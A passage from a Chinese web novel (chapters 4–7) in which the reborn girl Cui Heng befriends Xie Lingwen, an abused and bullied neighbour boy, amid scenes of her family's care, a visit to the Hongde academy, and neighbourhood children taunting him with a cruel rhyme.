丽娘一脚踹开门,先放下崔蘅,又将谢令闻放到告假的店小二床上,扯开被子将他裹紧,忙不迭地吩咐:“夫君快去请大夫,阿蘅帮阿娘把炉子烧起来。”
一家人脚不沾地地忙到后半夜,直至蜡烛就快燃尽,灯火只余一丝生息,竭力散发着最后一点光亮,炉子上的药罐热腾腾地冒着烟,屋子里飘满苦涩的药香。
丽娘手里拿着蒲扇,倚在门框上睡着了,崔显坐在她身边的小板凳上,手里还攥着一卷书,打着轻微的鼾声。
而崔蘅趴在谢令闻身边,枕在自己胳膊上,只露出一半被压出睡痕的脸。
谢令闻被噩梦惊醒时,看到的就是这样一副画面。
4. 离开
屋内药香弥漫,混着一丝不知名的清香,不着痕迹地抹去他心间残留的惊惧。
灯火轻晃,榻边趴着酣睡的小娘子发出一声嘤咛。
她仿佛睡得极不安稳,眉头紧蹙,睫毛不安地轻颤,拳头也紧紧攥着。
谢令闻轻轻坐起身,拿起自己的外袍,正要盖到她身上时,忽然看到自己衣摆处的补丁。
崔家夫妇都很疼爱孩子,她吃的用的虽比不上达官贵人家的千金小姐,却也比普通人家的女孩儿好上百倍。
裙子是新换的鹅黄色,用同色丝线绣出银杏叶,均匀地洒在袖口与裙摆,映得她脖子上的银项圈泛着柔色的金光,金光照在她的脸上,仿若菩萨座下的童女,靡颜腻理,粉妆玉琢。
谢令闻深灰的衣裳单单只是放在她身边,就使她周身的光彩黯淡了几分。
他蜷缩起指尖,转而将衣裳穿在自己身上。
夜色已深,他现在走,应该没人会发现。
谢令闻掀开被子,下床叠好棉被,正要离开时,背后传来一道含糊软糯的声音:
“谢哥哥,你要去哪儿?”
崔蘅揉着惺忪的睡眼,看着还没完全清醒,嗓音绵软,“你不能走,要吃药。”
声声将崔家夫妇惊醒。
丽娘看着谢令闻身后整整齐齐的床榻,没声张,站起身去端早就在热着的汤药。
“你这孩子醒了怎得一声不吭的,身上可还有不爽利的地方?”
不等谢令闻回答,她便将药端过去,催促道:“快喝了,喝完躺到床上睡一觉,第二天便能好了。”
崔蘅看了看碗里浓黑色的药汁,想起前几日她发高热时不得不捏着鼻子往里灌苦药的痛苦,便连忙往后退了退,捏着鼻子堵住那股药酸气,瓮声瓮气地说:
“谢哥哥快喝吧,我生了病就是这样好起来的。”
谢令闻察觉到她的动作,轻轻垂下眼。
他睡在家里的柴房,到了夜里,他养的鸡鸭也会进柴房睡觉,阿娘常嫌弃他身上有鸡鸭味,他昨日又在宋家仓房中昏睡许久,没来得及沐浴,身上应是有些难闻的气味。
谢令闻往后退了半步,接过药碗一饮而尽,低声道:“麻烦丽姨崔叔。”
“哪有什么麻烦不麻烦的。”丽娘把谢令闻按坐在床上,又招呼崔显去煮面,“多放些姜,给令闻祛祛寒。”
丽娘忙着洗碗,屋子里只剩崔蘅和谢令闻。
她似乎还没睡够,打着哈欠,用手垫着下巴,趴在桌子上,眼眸水润,如莹润的东珠。
谢令闻低下头,看崔显方才随手放下的书。
“谢哥哥,你认识这些字吗?”崔蘅歪着头看他,脸颊一侧的肉堆在手臂上,绵软团润,像个包子。
谢令闻收回目光,简短地道:“不认识。”
崔蘅换了姿势趴着,困得上下眼皮就要黏在一起,小声道:“那真巧啊,我也不认识。”
室内沉寂下来,只剩她均匀的呼吸声。
恰时,崔显端来了面,在灶房吆喝:“阿蘅,来帮你谢哥哥拿筷子!”
“哦……好。”打着瞌睡的小娘子慢慢睁开眼,晕乎乎地站起来,哒哒哒跑出屋子。
一碗阳春面,面条柔滑细嫩,面汤泛着油光,上面撒些姜丝葱花,再盖一个澄黄的荷包蛋,香气扑鼻。
“谢哥哥快尝尝,我阿爹做的面可好吃了,我和我阿娘都喜欢吃!”崔蘅把筷子递给谢令闻,把自家老爹夸得堪比皇宫御厨。
“知道你爹厉害,让令闻先吃,咱们就回房吧。”
丽娘怕谢令闻不好意思,便叫上崔蘅回屋,“阿蘅快回去睡觉,不要打扰谢哥哥休息。”
“好吧。”崔蘅不太情愿地放下筷子,一步三回头,“谢哥哥快吃,面要坨了,不够吃的话我让阿爹再给你做。还要大黄,我和阿娘帮你喂过了,它在柴房睡,你不要担心。”
谢令闻抬起眼,看到她朝着自己笑,眼瞳中跳跃着细碎的光,如璀璨星河。
他犹豫了一下,轻轻点点头,算作回应。
没想到她很是满足,高兴地蹦起来朝他挥手,笑意盎然地道:
“谢哥哥早些休息,明日见!”
门被合上,小娘子雀跃的尾音落在门外,门内又成一片寂寥。
谢令闻收回目光,看着那碗面很久,才慢慢拿起筷子,夹起一根面送入口中。
崔蘅说的没错,崔叔的手艺确实很好。
他却味同嚼蜡。
谢令闻长到十一岁,一直只能吃些糠咽菜和水一样的稀粥,像这种白面,他长这么大以来也只吃过两次。
一次是今天,还有一次是五岁那年。
那时候阿娘还年轻,也算疼爱他,至少不像现在这般痛恨他。
这样大的转变是因为一个男人。
那个男人住东街,早年没了妻儿,家中算得上殷实,只有一个老母和与他差不多大的儿子。
阿娘要他唤那男人张叔。
二人来往很密切,张叔时常来送些吃食和小孩子爱玩的玩具。
旁人都说阿娘与张叔从前是交换过庚帖的,但张叔那时家里贫困,阿娘家里人毁了约,将她卖给了人牙子。
因此,张叔的母亲张婆婆很不喜欢他和阿娘。
阿娘经常受她刁难,常哭着像张叔诉说,可张叔只是叹气,对阿娘说:
“阿秋,你当是为了我,再忍忍罢。”
阿娘便不说话了,也哭不出声了。
年幼的谢令闻看出,阿娘心悦张叔,所以要他和张叔的儿子张山在一起玩,要他对张婆婆尊敬。
他捂住自己被张山划烂的胳膊,坐到阿娘给他做的小床上,等着一阵阵的疼痛自己消失。
谢令闻常被张山欺负,他也像张叔劝阿娘那般劝自己,忍忍,再忍忍,就当是为了阿娘。
他原以为等到张婆婆喜欢上阿娘和他便万事大吉,却不想,等来的只有一则噩耗。
那天原本是个喜日,张叔要去府城扯布给阿娘做衣裳,好把婚期定下来。阿娘送走张叔,回来特地舀出一勺白面,蒸了四个馒头出来。
她留下三个给张家送去,另一个留给谢令闻。
母子俩手牵着手,一路走一路笑。
到了张家,却只听得一片哭声。
涕泗横流的张山看到谢令
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闻,指着他便尖声道:
“是他!是他要吃糖葫芦阿爹才去买的!他害死了阿爹!”
可是他没有要吃糖葫芦,只是张叔问了他一句要不要吃,他点了点头。
是他害死了张叔吗?
谢令闻不知道。
看阿娘的反应,应是他害死了张叔。
再后来的事,谢令闻便记不清了。
他只记得自己的小床不见了,他咬了一口的白馒头不见了,还有会牵着他的手、会对着他笑的阿娘,都不见了。
街坊邻居称阿娘为扫把星,说她克死了京中的贵人一家,又克死了张叔。
阿娘整日整夜地哭,好似要把她这辈子所有的泪都哭出来。等她哭够了,便开始打谢令闻。
她总是边打边骂,歇斯底里地咒骂。
骂谢令闻拖累了她,骂谢令闻是个索命鬼,索了亲爹的命不够,还要索其他人的命。
谢令闻不反抗,只是默默地想。
若是他疼阿娘便不哭,那也很好。
现在阿娘已经不会哭了,她更擅长与人唇枪舌战,话说的难听又恶毒,尤其是对谢令闻。
他都一一受着,这是他欠阿娘的。
若没有自己,阿娘应当早就嫁了人,有温柔体贴的夫婿,有聪明伶俐的孩子,不必受这些磋磨。
可没什么用,他不能凭空消失。
他害得阿娘常被人看不起,也许他才是那个害了所有人的扫把星。
谢令闻吃完面,没有再碰那张被子已经伸展开的床榻。
他不干净,还会带来霉运,不能恩将仇报,让崔家因他遭遇什么不好的事。
油灯在崔家人离开时就已经被他吹灭,他摸着黑走到门边,坐在门框上,独自一人等天明。
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崔蘅一早便起来了,阿爹每日早上都会带着她去外边街上吃早食,包子卷子还有沙馅小馒头,都是她最爱的。
她想带着谢令闻一起去。
日头尚未自云海中挣扎出来,淡青的微空中还残留几颗碎星,东方既白,远山如黛,青色的晨曦流淌进廊下,宁静的清晨被小娘子欢快的脚步声打破。
“阿爹!咱们带着谢哥哥一起去吃早食吧!”她迫不及待地朝屋里喊,“谢哥哥醒了吗?”
丽娘从灶房出来,见她披头散发的模样,有些无奈:
“别喊了,你谢哥哥早就走了。”
“走了?什么时候走的?”崔蘅急切地问,还想去追。
崔显从屋中出来,指了指院中随风飘荡、还滴着水珠的被褥,神色复杂:
“早就走了,还是把被褥洗过、屋子打扫干净走的。”
崔蘅看着被洗得干干净净的被褥愣了一会儿,又跑进谢令闻昨夜住的屋子里。
只见屋内窗几明净,已经掉漆的桌子被擦得锃亮,连没有人会低头去看的门槛都干干净净。
太阳初露,天边晕染开鱼肚白,一丝晨光照在沉默的崔蘅身上,才让恍惚的她回了几分神。
窗外,丽娘和崔显看着干净整洁的被褥叹了一口气:
“这孩子,太让人心里不是滋味了……”
5. 快乐
崔蘅没能和谢令闻一起吃早食,便有些闷闷不乐。
丽娘给她梳了个三小髻,绑上红色发带,衬着她还带着婴儿肥的脸,看着就叫人欢喜得紧。
“还在不高兴呐?”丽娘轻轻捏了捏她的腮帮子,哄道,“要不要阿娘带你去找令闻?”
崔蘅双眼放光,顿了顿,又倏然熄灭。
谢令闻一大早便独自匆匆离开,定是因为不想和人过多攀谈,若是现在凑过去,说不定会让他心生抵触。
想到此处,崔蘅摇了摇头,乖巧地道:“还是不要了,我留在家里帮阿娘的忙。”
丽娘看着自己女儿这副模样便怜爱的紧,恨不得把天上的月亮摘下来给她,哪舍得把她拘在屋里干活。
“听你阿爹说宏德馆新养了一只白鹭,要随你阿爹去看看吗?”
崔蘅虽然不像平常小孩子一般好奇心那么重,但自从醒来后她还没去过其他地方,于是顺势答应下来。
丽娘给她的荷包里塞了些零嘴和几个铜板,又叮嘱了几句不要乱跑,便将她交给早就等着的崔显。
崔显当年是整个青州考上的三个举人之一,而且差一点便是解元,后来在会试中落榜,回到家乡做了申氏开办的私学先生。
青州民间流传着这样一句话——要提青州,先论申氏。
申氏是百年望族,如今皇上盛宠的贵妃就是上京申氏之女,青州申氏是上京申氏的分支,虽主要从商,实力却也不容小觑。
宏德馆便是青州申氏创办的私学,当地申氏子弟和有些名望财力的家族子孙都在此读书。
此外,申氏每年还会举办择鱼宴,请全青州十岁到十二岁的孩子参宴,能在宴席中获得鲤鱼者,可凭此前往宏德馆读书,食宿由申氏全额提供。
崔显当年便是获鲤者之一,只是可惜,命运没能一直眷顾他。
反而是同他一起参加会试的申氏子弟都成了贡生,世人都道,是申氏积德,上天保佑。
在崔蘅的记忆里,丽娘曾劝过崔显多次,要他再回去试一试,可他只是笑言道,自己没有太大的志向,做个举人回乡当先生教书,守着妻女过一辈子,便是他毕生夙愿。
丽娘以为自己丈夫是落榜伤了心气儿,不敢再多言,还叮嘱过崔蘅不要在阿爹面前提会试。
崔显恰好买糖葫芦回来。
他把糖葫芦递给崔蘅,自己绕到外侧,帮她挡住过路人群,温声叮嘱:“不要只顾着吃,仔细着脚下的路。”
崔蘅咬掉脆皮糖衣,边嚼边仰起头看自己身边的男人。
崔家并不是那个名门望族崔氏,只是一个世代耕农的普通人家,甚至可以称得上贫困。
崔显是家中幺子,上头有一兄一姊,长姊嫁在同村,惯拿娘家的东西补贴婆家。长兄爱赌,追债的人常到家里闹事。
面对屡教不改的长兄,崔显不顾父母哭喊阻拦,亲自提了砍刀剁掉兄长三根手指抵债。
崔老太是个拎不清的,时不时便要最有出息的小儿子帮衬兄姊,在崔显剁掉崔大的手指后又执意要娶二嫁且无半点嫁妆的丽娘时,崔老太一哭二闹三上吊,告诉崔显要么再也不要认她这个老娘,要么就听她的话,找个富庶人家的姑娘。
崔显一次都没有动摇过,直接带着丽娘搬到城中,当真再也没回过那个家。
十岁摘得择鱼宴魁首,是整个青州唯一一个无权无势中举的平民,面对目光短浅的家人,可以做到快刀斩乱麻从而不被拖累。
这样的人,真的甘于窝在小小的青州做一个教书先生吗?
崔显注意到女儿的目光,眉眼弯弯:“阿蘅瞧着阿爹做什么?”
崔蘅咽下山楂,眨了眨眼,问道:“阿爹,读书好吗?”
崔显惊诧,没想到自己幼小的女儿竟会问出这样的问题,他仔细思索了一番,认真回道:“读书可明智,好,却也不好,但阿爹认为好多过不好。”
“为什么?”她继续追问。
“古人云,‘书犹药也,善读之可以医愚。’人开悟了,便会想的更多,能认识到自己与他人的无知、狭隘与偏见,也能看出人间之肮脏,若志向远大却无力改变,便会滋生无穷尽的痛苦,书生尤甚啊。”
崔显似是有所感悟,叹道,“纵使文章惊海内,纸上苍生而已。可治国救民,恰恰也离不开这些文章。”
崔蘅似懂非懂地点了点头,试探地问道:“那阿爹为何不再继续会试了?只有自己的文章被世人看见,才能有所施展呀。”
正沉浸在自己思想中的崔显一愣,眉眼逐渐黯淡下来:“阿爹在青州过得也很好,学子济济,比阿爹有用的人太多了。”
“阿爹老了,现在只想看着阿蘅好好长大。”
崔显摸了摸小娘子的发顶,眼中满是宠溺。
崔蘅举着糖葫芦,一板一眼地回道:“那阿蘅来读书,将来替阿爹去考试,阿蘅会成为最有用的人。”
她准备收集些奇书弄明白自己到底为什么会在这副身体中醒来,身体真正的主人崔蘅又去了哪里,她能否将身体还回去。而在这之前,她必须先识字。
崔显看着自己女儿板着脸一副认真严肃的样子,不知道该怎么告诉她,女孩子读书并没有用。
世道只需要她贤惠、识大体,最好不要一个字都不要认识,不知道自己是谁,不知道自己的名字是哪几个字。她只要生几个孩子,服侍好夫君,便能使街坊称颂。
崔显和丽娘疼女儿,其他人家的女孩儿七八岁就已经能熟练地做针线活了,小娘子长那么大,满打满算也只绣过一只小荷包,手上还戳的全是窟窿,闹着不肯再学,夫妻俩也纵着她,从此再也没让她碰过针线。
可到底是要出阁的,他们不能纵一辈子。
崔显叹了口气,没有立马答应下来,只道:“阿蘅先随阿爹去书院看看读书要做什么吧。”
宏德书院是从前遗留下的旧衙署,坐落在与朝阳街隔两个大道的安平坊,申氏还自掏腰包为远道而来求学的贫困子弟加盖了住舍,整座书院远远望去,虽谈不上气势恢宏,却也古朴雅致。
进了书院后,崔显带着崔蘅一路走一路和同僚寒暄,还遇到不少年纪和崔蘅相仿的男孩子向崔显问好,一个个都好奇地瞧着这个先生带来的小娘子。
崔蘅跟在阿爹身边,一路上都十分乖巧。
到了学舍,崔显要先查昨日的课业,便让崔蘅在屋外等着。
崔蘅百无聊赖,便蹲在地上捧着脸看在莲花池里悠悠漫步的白鹭。
鹭与莲同音“路”和“连”,寓意一路连科。
她记得前世谢令闻一开始也是由择鱼宴进入的宏德书院,后来却不知为何被逐,他在半
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年后转而拜入致仕还乡的杨阁老门下,最终一路斩获两元,摘得榜眼。
杨阁老出身弘农杨氏,长袖善舞,在多次改朝换代中保得杨氏平安,他极其护短,无论出了什么事都会坚定地护着自己人。谢令闻却不知为何惹怒了杨阁老,不仅被逐出师门,还遭其痛骂多年。
其中原因众说纷纭,有说杨阁老想将自己孙女嫁于谢令闻却遭拒绝,恼羞成怒的,还有说谢令闻和杨阁老政见不合,怒而出手打了自己老师的。
崔蘅脑子里想着谢令闻暴起狂揍七旬老人的情景,非常不道德地笑出了声。
忽然一个纸团从天而降,砸在她脑门上。
“谁呀!?”
崔蘅捂着脑袋转过身,即使生气,嗓音也娇柔无比。
学舍窗台处趴着个衣着富贵的男孩,正十分得意地看着她,眼里满是挑衅。
能在此读书的多是高门大户出身的小郎君,崔蘅不想给阿爹惹事,在心里翻了个白眼,背过身去没有理会。
那个男孩却愈发猖狂,陆陆续续又砸了好几个纸团过来,力道越来越大。
崔蘅烦不胜烦,站起身打算换个地方待着。
屋内隐隐传来崔显的嗓音:
“申宴山,你来说一下对这篇文章的见解。”
崔蘅还没走远,看见那个应是申家人的申宴山满脸不服气地站到了门外。
应是没答上来。
她很不厚道地笑了,正巧被申宴山听到,把他气得从脸红到脖子。
崔蘅心情不错地在宏德书院里遛上了弯,到后门附近,瞧见一棵李子树,树叶茂密,树干粗壮,枝头挂着许多果子,个个都有她拳头大,看着十分诱人。
阿娘最爱吃李子。
崔蘅看了眼四周,确定没人后,把裙子朝上提了提,拽着树枝一蹬,三下五除二地爬上了树。
宏德书院后是一片矮山,山林寂静,郁郁葱葱,她登高望远,眼前豁然开朗。
崔蘅挽起袖子伸手去摘头顶上的李子,没想到自己胳膊太短,好不容易摘下一个,还没拿稳。
李子掉在地上,骨碌碌滚了几圈,停在少年面前。
少年将李子捡起,抬起头,望向树上的小娘子。
她今日穿了一身碧色对襟交领外衣,配宝石蓝马面裙,红色发带在她发间随风招展,正如她本人一般肆意张扬。
谢令闻早就注意到动静,看着她敏捷地爬上树,身姿矫健,眼睛直勾勾地盯着树上的果子,像只贪心的小松鼠。
“谢哥哥!好巧啊!”她朝他挥着手笑,眼睛弯成一个月牙儿。
她似乎很快乐,无时无刻、对着谁都能扬起笑。
谢令闻依旧沉默,他收回目光,把李子放在地上,背起放在一旁的柴火转身离开。
崔蘅有些疑惑。
刚刚明明都已经对视了,谢令闻为何像没有看见她一般?
她怕再喊会惊扰到其他人,只好眼睁睁看着谢令闻背着比他高出一头的柴火,一步步朝山外走去。
崔蘅叹了口气,视线落到方才的李子上。
李子好端端地放着,院墙旁的这一块地不知为何没有像周围一样长满野草,光秃秃的黄土有很多划痕。
虽然很杂乱,崔蘅还是一眼认出,那是几个字。
——“德惟善政”。
6. 童谣
崔显正四处找女儿,远远地就看见后门边的杏树上站着个发带飘扬的小猴子。
“阿蘅!怎么跑树上去了!?”
崔显把书院里不能疾行的规矩忘得一干二净,小跑到树下,满脸慌张,“我的小祖宗啊!快下来!”
“阿爹,这李子长得好大!我们带点回去给阿娘!”阳光流转在崔蘅剔透的瞳孔中,她笑得像只猎到鱼的狸奴,挑了个李子丢下去,“阿爹接着!”
崔显手忙脚乱地接住李子,一抬头,却见崔蘅作势要往下跳,顿时吓得魂飞魄散,张开手下意识要去接住女儿。
“阿爹让开!”
小娘子毫不犹豫地一跃而下,衣裙猎猎,青丝和发带缠绕在一起飞扬起来,似被风舞动的火苗。
她满目开怀,稳稳落地,怀里兜着的李子一个也没掉出来。
正要找她算账的申宴山看呆了,喃喃自语:“怎么会有这样的小娘子……”
他神思恍惚地回到学堂里,愣愣地坐到案前,脑子里全是那根飞扬的红发带。
仆人连叫好几遍,他才恍然回神。
反应过来自己一直在想那个嘲笑自己的小娘子,申宴山恼得面红耳赤。
一定是因为今天没能好好教训她,自己才会如此心不在焉!
等下次有机会,他一定要她好看!
……
晌午时分,崔蘅想带着李子回家用午膳,好让阿娘早些吃到她摘的李子。
崔显想送她,却又脱不开身,只好让她自己回去。
“莫要乱跑,遇到不熟的人不要搭话,更不要去凑热闹。”崔显担忧不已,仿佛女儿是要去闯什么刀山火海,“阿蘅,你还是等阿爹下值再一起回去吧。”
崔蘅叹了口气,像个大人一样拍了拍崔显的手背:“阿爹,我已经长大了,可以自己回家了,你要学会放手。”
崔显哭笑不得,只好将她送到门口,最后叮嘱了一番,才一步三回头地进了书院。
宏德书院离崔家酒馆并不远,走上半个时辰便能到。
崔蘅一路走一路玩,看看这个小贩卖的新奇玩意儿,又瞧瞧那个摊位在吆喝什么,将崔显叮嘱的话抛到了九霄云外。
正巧遇到挑货郎,她用阿娘给的铜板买了一罐玉霜膏,蹦蹦跳跳地拐进了巷子里。
正是午膳时间,巷子里没有什么人迹,飘满了炊烟和饭菜香味。
崔蘅也有些饿了,便加快脚步,路过谢家院子时,特地瞟了一眼,没想到还真看到了要找的人。
“谢哥哥!”
谢令闻听见熟悉的声音,下意识抬头。
崔蘅正朝他跑过来,带起一阵风,熟悉的清香扑面而来,谢令闻蜷缩起指尖,莫名觉得有些不自在。
小娘子毫无察觉,在他面前站定,大大方方地问:“我可以坐你旁边歇歇吗?”
谢令闻没吭声,往旁边移了移。
崔蘅十分自觉地坐下,两人中间隔着一个半人的距离。
她擦了擦额头上的汗,咕哝着抱怨:“天好热,还是冬天好一点。”
谢令闻垂着眼,默不作声地削着手里的木头。
浓荫下,鸟儿在枝头叽叽喳喳地吵闹着,偶尔还会有一两只蝴蝶飞过,崔蘅歪着头,好奇地看着谢令闻手里初具形象的木头:“谢哥哥,你在雕什么呀?”
“木雕。”谢令闻冷淡地吐出两个字,显然是不想告诉她。
崔蘅也没继续追问,点了点头,站起身拍拍自己的裙子,笑着道:“我歇好了,就先回去了,谢哥哥再见。”
谢令闻依旧没抬头,一副拒人千里之外的模样。
崔蘅抱着李子,默默转过身走了。
谢令闻眼前的地面上映着她的剪影,发带不再飘舞,恹恹地耷拉在她脑后,像泄了气一般。
他盯着看了几秒,便又收回视线,神色如常。
她应当不会再来了。
谢令闻用刻刀划过木头,却不小心下重了手,木头上留下一道极深的划痕,毁掉整个木雕。
他盯着已经废掉的木雕看了一会儿,站起身清理干净身上的木屑,正要重新坐下时,碰到几个出来玩耍的小孩。
这些小孩也住在巷子里,正是顽皮的年纪,看见谢令闻,嘻嘻哈哈地围成一团窃窃私语,脸上又都带着畏惧。
谢秋娘名声不好,谢令闻又孤僻不爱说话,经常夜里也在外四处游荡,很多人都背地里说他其实已经傻了。
大人们喜欢拿他恐吓自家孩子,说一些“再哭就把谢令闻找来教训你”之类的话,因此谢令闻在巷子里的孩子们心中,是神秘又可怕的存在。
以前孩子们都绕着他走,今天大约是因为聚在一起,人多壮胆,便都远远地站着观察他。
谢令闻削着木头,对他们的交谈声置若罔闻。
有个胆大的男孩凑上去,飞快地捡起他身边的木头跑回来,激动的脸色通红,像打了胜仗的将军,耀武扬威地道:“看!我敢拿傻子的东西!”
其他孩子都崇拜地看着他,皆跃跃欲试。
那个胆大的男孩受了第一次成功的鼓舞,大摇大摆地站到谢令闻面前,颐气指使地道:“谢傻子,把你的刻刀给我瞧瞧。”
其他孩子瞪大眼睛,紧张起来。
“福子,快回来,不要和他说话!”
“我阿爹阿娘说谢傻子会打人的!”
“你快回来吧!”
福子不屑地“切”了一声:“你们这群胆小鬼!我才不怕!”
他又踢了一脚谢令闻身边的木头,不耐烦地道:“喂!你听到没!?”
木头滚动,谢令闻终于有了反应。
他缓缓掀起眼睫,瞳孔一片漆黑,冷冷地吐出一个字:
“滚。”
福子吓得腿一软,差点坐到地上。
孩子们也吓得不轻,缩着脖子大气不敢出,作出随时逃跑的姿势,稍微胆大的抖着嗓子让福子回来,福子却恼羞成怒地道:“他若是敢动我,我阿爹阿娘肯定饶不了他!”
可这个谢傻子听他提起他阿爹阿娘竟然没有半点害怕的意思,这更让福子恼怒。
从没有人敢这样无视他!
他的眼珠子轱辘一转,笑嘻嘻地唱起孩子们自己编的童谣:
“月牙儿弯弯,河水凉。谢家老娘上花妆,提着灯笼找情郎。找呀找,找不着,听到水里有人笑,灯笼照,老娘忙,一瞧竟是谢家郎!”
崔蘅拿着一个洗好的李子打开门,小孩子纯净而残忍的声音传进耳畔,让她愣在原地。
太阳不知何时隐到了云彩后头,原本晴朗的天变得有些昏沉,刻刀歪了一些,在谢令闻手上留下一道血痕,鲜血涌出,顺着他的手腕淌下。
他眉眼低垂,下颌紧绷,唇紧紧地抿着。
他慢慢站起身,顿时把孩子们吓得尖叫着四处逃散,大喊着:“谢傻子发疯要打人了!救命啊!”
崔蘅被几个孩子撞了好几下,胳膊生痛,她顾不得管太多,连忙上前去寻谢令闻。
“谢哥哥,你没事吧?”崔蘅看见地上有几滴血,连忙握住谢令闻的手腕查看,“血是哪来的?你的手是不是伤到了?”
“放开。”谢令闻猛地挣开她,嗓音很冷。
崔蘅被猝不及
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防地甩开,另一只手拿着的李子掉到地上,沾染了许多尘土。
她想去捡,一只瘦削、满是伤痕的手却比她更快一步。
谢令闻捡起来李子,却忘记了自己手上有伤,李子上沾染了他的血迹,应该不能吃了。
他抿了抿唇,轻声开口:“抱歉。”
“没事的,只是一个李子而已。”
崔蘅拿出随手带的帕子,谢令闻以为她想要擦李子,便微微摊开掌心递过去,可她却把帕子覆在了他的伤口上。
细微的痛痒感传来,让谢令闻微微一愣。他下意识想抽出手,被崔蘅稳稳地握住手腕。
小娘子语带不满:“不要动,我在包扎呢。”
她的皮肤很柔嫩,像一块上好的羊脂玉,细腻温热。
谢令闻自觉不妥,犹豫了一下,低声道:“我可以自己来。”
“你只剩一只手怎么自己来?”崔蘅握得更紧,认真地系好帕子,才松开他的手,“伤口不深,先这样简单包一下,待会我回家找些伤药给你敷一敷。”
手上多了条帕子裹着,谢令闻有些不自在,他正要拒绝,崔蘅却已经朝自己家里跑去,头也不回地道:“你不要动,就在这里等着我。”
小娘子发丝飞扬,还没跑到院子前便着急地喊阿娘帮她找伤药,谢令闻的指尖轻轻摩挲着手上柔软的帕子,目送她进了门。
她为什么不生气呢?
谢令闻想不明白。
他对她那么冷漠,很多次见面都没有搭理她,还把她的李子弄脏了,她却还要帮他包扎伤口。
谢令闻想,大约是因为他很可怜吧,而她恰恰又很善良。
巷子里的人都不敢靠近他,还会用怜悯的眼神看着他。
崔蘅和这些人不太一样,她虽然可怜他,但看着他的眼神很清亮,永远带着笑意,让他好受一些。
谢令闻坐到台阶上,看着那个弄脏的李子。
等崔蘅知道靠近他就会变得不幸后,应该就会和阿娘一样嫌恶他了。
谢令闻垂下眼,一点点把李子上的灰尘和血迹擦干净,轻轻放到一旁。
崔蘅急匆匆的脚步声传过来。
她怕谢令闻又悄无声息地走了,一点也不敢耽误,找到伤药就赶紧出了门。
看到谢令闻好端端地坐着,她惊讶地“哎”了一声:“谢哥哥今天心情很好吗?”
谢令闻看着他,黑眸中没什么情绪。
崔蘅愣是看出几分无语。
好像……确实没什么值得他高兴的事。
她吐了吐舌头,坐到他身边,伸出手。
谢令闻眼露疑惑。
崔蘅叹了口气,直接握住他的胳膊,把他的手放到自己膝盖上。
谢令闻顿时像触了电一样,立马把手撤了回去。
“怎么了?我身上有什么东西吗?”崔蘅以为有什么东西扎疼了他,连忙站起身抖了抖裙子,没看见谢令闻的耳根悄悄红了一片。
“没有。”谢令闻嗓音发紧,低声道,“我自己上药就行,你先回去吧。”
他迅速站起身,正要开口再说些什么,却看到丽娘站在崔家后门前看着他和崔蘅。
谢令闻喉尖滚动,低低地叫了声:“丽姨。”
丽娘对他笑了笑,转而望向崔蘅,“阿蘅,该吃午膳了,让令闻自己上药吧。”
崔蘅一向很听爹娘的话,便乖乖应了,把药瓶放下,朝谢令闻挥了挥手:“那我先回家了,谢哥哥记得上药。”
谢令闻轻轻“嗯”了一声。
丽姨一定听到那些孩子唱的童谣了,她不会再让崔蘅靠近他了。
7. 月亮
为给崔蘅补身体,崔家的午膳一向很丰盛,都是丽娘亲手做的。
崔蘅摆好碗筷,又挽起袖子给丽娘盛了一碗鸡丝粥。
勺子与碗碰出清脆的响声,她把粥端到丽娘面前,还不忘轻声叮嘱:“阿娘,小心烫。”
丽娘接过瓷碗,浅笑着点了点头,看着崔蘅的双眼中却暗藏忧虑。
崔蘅没注意到阿娘一直在盯着自己,她拿过一个馒头咬了一大口,满足地晃了晃脑袋。
“对了!阿娘你等我一下!”忽然想到什么,崔蘅咽下馒头,朝自己房间里跑过去,拿来玉霜膏。
“今日我回来时恰巧碰到挑货郎,给阿娘买了一罐。”
小娘子眯着眼笑,小脸显得更圆润了,如新生的乳燕,毛绒绒一团。
“给你的铜板全拿去买了这个?”
丽娘知道崔蘅没有小金库,这孩子攒不住东西,好吃的要当天吃完,有钱也剩不到明日。
“对呀,阿娘的手常泡水,自然马虎不得。”小娘子的脸上满是认真。
丽娘心里五味杂陈,眉眼间忧思更重。
她叹了一口气,怜爱地看着自己女儿:“阿蘅,你心里若是有什么事就同阿娘说,莫要自己一个人憋着。”
崔蘅一怔,抬脸扬起一个笑:“阿娘,我没有什么心事呀。”
“你以前也乖巧,但不会像现在这般事事周到。”丽娘蹙起眉,眼里满是心疼,“是不是你最近和令闻走太近,看他不得父母庇护,便忧心我和你阿爹将来也会如此对你,才百般讨好我与你阿爹?”
崔蘅微愣。
她前世做过小乞丐,做过皇长孙的侍卫,也做过谋权篡位的逆臣。事事细微早已刻在骨子里,赵檐一抬眼,她便知他想要什么。
对谢令闻好,是因前世,披衣之恩她没齿难忘。而崔氏夫妇是她这具身体主人的爹娘,她还没法儿把人家的身体还回去,定是要好好孝敬她父母的。
只是她没想到,丽娘会疼爱女儿到她太乖巧都会心疼的地步。
她忽然有些羡慕这个和自己同名的小娘子。
“阿娘,我没有那么想过。”崔蘅心间酸涩,面上不显,抱着丽娘的胳膊,娇声娇气地道,“你和阿爹那么疼我,一定会一辈子都对我好的呀!而且我身为人子,孝顺父母理所应当,怎么能叫讨好呢?”
丽娘这才放下心来,慈爱地看着她,轻声叹息:“你没有乱想就好。”
“没有乱想啦。”崔蘅的唇角扬起来,脸颊上漾出两个梨涡,小声问,“阿娘,那我还能去找谢哥哥吗?”
丽娘原本是想让崔蘅离谢令闻远一些的,毕竟谢秋娘不正经,谢令闻的性格又孤僻古怪,自己女儿巴巴地凑上去也得不到一个正眼,她瞧着都心酸。
可崔蘅长那么大以来也没几个要好的朋友,丽娘不想将她拘在家里,将来若是养成任人揉捏的软柿子,受的气只会更多。
“去吧,晚膳之前回来。”
看谢家小子那模样,一时半会也不会主动与崔蘅搭话,崔蘅受过挫自然就不会往前凑了。
见阿娘松了口,崔蘅连忙扒了几口饭匆匆下桌,顺手带了个洋山芋。
她还担心谢令闻会已经回家了,没想到他还在门前坐着雕木头。
崔蘅一蹦一跳地走过去。
“谢哥哥!”
谢令闻一顿,慢慢抬起头。
小娘子眉梢眼角满是笑意,一点也不见外地坐到他身边。
“你怎么还在这里刻木头呀?”崔蘅想看清木头被雕成了什么形状,便伸长了脖颈,“这是兔子吗?”
他们靠得有些近,谢令闻一垂眼便能看到她乌黑的发顶。
小娘子被养得很好,青丝如瀑,与红色发带交缠在一起,更显得她发似泼墨,肌肤赛雪。
那股不知名的清香再次包裹过来,谢令闻默不作声地往旁边移了移。
崔蘅还没看清楚,见他要把木雕收起来,便连忙拿出手里的洋山芋,“谢哥哥,我喜欢你雕的小兔子,可以用这个和你换吗?”
谢令闻的视线落到她手上。
